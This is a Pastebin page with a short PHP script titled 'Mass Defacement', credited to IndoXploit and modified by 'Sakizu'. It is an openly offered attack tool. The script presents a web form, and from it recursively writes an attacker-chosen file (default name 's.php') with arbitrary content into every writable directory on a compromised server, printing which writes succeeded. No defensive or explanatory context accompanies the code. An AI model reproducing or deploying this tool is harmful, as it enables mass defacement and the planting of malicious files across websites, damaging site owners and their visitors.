SHARE
TWEET

[PHP] Mass Defacement

Sakizu Sep 23rd, 2019 85 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. // Tu5b0l3d -IndoXploit
  4. // Modified : Sakizu
  5.  
  6. function bikin_file($namafile,$script){
  7. $fp2 = fopen($namafile,"w");
  8. fputs($fp2,$script);
  9.  
  10. }
  11. function buka_dir($getcwd){
  12.     if(is_writable($getcwd)){
  13.     $nama = $_POST['nama'];
  14.     $script = $_POST['script'];
  15.     $a = scandir("$getcwd");
  16. foreach($a as $aa){
  17.     if($aa == "." | $aa == ".."){
  18.     }elseif(is_dir("$getcwd/$aa")){
  19.  
  20.         $dir_baru = "$getcwd/$aa";
  21.         if(is_writable($dir_baru)){
  22.         echo "<font color='green'>Success > </font>$dir_baru/$nama<br>";
  23.         $create_file = bikin_file("$dir_baru/$nama", "$script");
  24.         $baa = buka_dir($dir_baru);
  25.     }
  26.     else{
  27.         echo "<font color='red'>Not writeable > $dir_baru/$nama</font><br>";
  28.     }
  29. }
  30. }  
  31. }
  32. else{
  33.     echo "<font color='red'>Not writeable > $dir_baru/$nama</font><br>";
  34. }
  35. }
  36. if($_POST){
  37. $cwd = $_POST['dir'];
  38. $coba = buka_dir($cwd);
  39. echo $coba;
  40. }
  41. else{
  42.     echo "<html>
  43.     <head>
  44.         <title>Sak1zu</title>
  45.     </head>
  46.  
  47.     <body>
  48.             <center>
  49.                
  50.                        
  51.                             <form method='post' action='?sakizu'>
  52.                             <input size='34px' type='text' name='dir' value='".getcwd()."'><br><br>
  53.                             <input size='34px' type='text' name='nama' value='s.php'><br><br>
  54.                             <textarea rows='10px' cols='35px' name='script' placeholder='Sakizu'></textarea>
  55.  
  56.                             <br>
  57. <br>
  58.  
  59. <input type='submit' value='Submit'>
  60.                             </form>
  61.                         <hr>
  62.                    
  63.             </center>
  64.  
  65.     </body>
  66. </html>";
  67. }
  68. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top